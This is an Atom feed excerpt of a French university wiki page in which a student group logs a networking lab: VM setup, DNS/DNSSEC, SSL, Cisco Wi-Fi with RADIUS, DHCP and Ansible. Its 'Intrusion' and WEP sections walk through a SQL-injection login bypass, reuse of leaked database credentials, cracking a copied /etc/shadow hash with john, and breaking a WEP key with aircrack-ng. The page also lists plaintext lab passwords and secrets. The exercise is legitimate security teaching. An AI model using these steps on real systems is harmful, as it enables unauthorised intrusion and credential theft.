 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===Inventaire===&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
===Playbook et roles===&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54972</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54972"/>
				<updated>2020-12-18T18:06:48Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Ferme de serveurs web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles. Une VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA). On lui associe sur eth1 l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt;.&lt;br /&gt;
La seconde sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; d'IP &amp;lt;code&amp;gt;192.168.42.7&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On relance, le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Installation d'ansible sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de Chassiron :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de Chassiron&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
===Inventaire===&lt;br /&gt;
ans ansible host sur Capbreton&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 ip des autres groupes&lt;br /&gt;
&lt;br /&gt;
===Playbook et roles===&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	</feed>